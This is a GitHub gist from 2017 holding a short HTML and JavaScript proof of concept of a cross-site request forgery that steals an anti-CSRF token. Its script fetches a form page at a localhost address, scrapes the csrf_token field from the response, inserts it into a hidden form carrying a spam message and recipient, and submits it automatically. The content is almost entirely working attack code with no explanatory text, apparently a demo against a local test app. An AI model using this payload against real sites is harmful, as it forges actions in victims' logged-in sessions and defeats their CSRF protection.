Created
May 28, 2017 06:50
-
-
Save vporoshok/4546a1d0896863a743028f3d803a6867 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form id="form" method="post" action="http://localhost:4000/form.php"> | |
| <input name="message" value="some spam"/> | |
| <input name="receiver" value="bob@mail.com"/> | |
| </form> | |
| <script> | |
| var req = new XMLHttpRequest(); | |
| req.open('GET', 'http://localhost:4000/form.php'); | |
| req.addEventListener('readystatechange', e => { | |
| if (req.readyState !== req.DONE) { | |
| return; | |
| } | |
| var div = document.createElement('div'); | |
| div.innerHTML = req.responseText; | |
| var input = div.querySelector('input[name="csrf_token"]'); | |
| if (input == null) { | |
| return; | |
| } | |
| var form = document.getElementById('form'); | |
| form.appendChild(input); | |
| form.submit(); | |
| }); | |
| req.send(); | |
| </script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment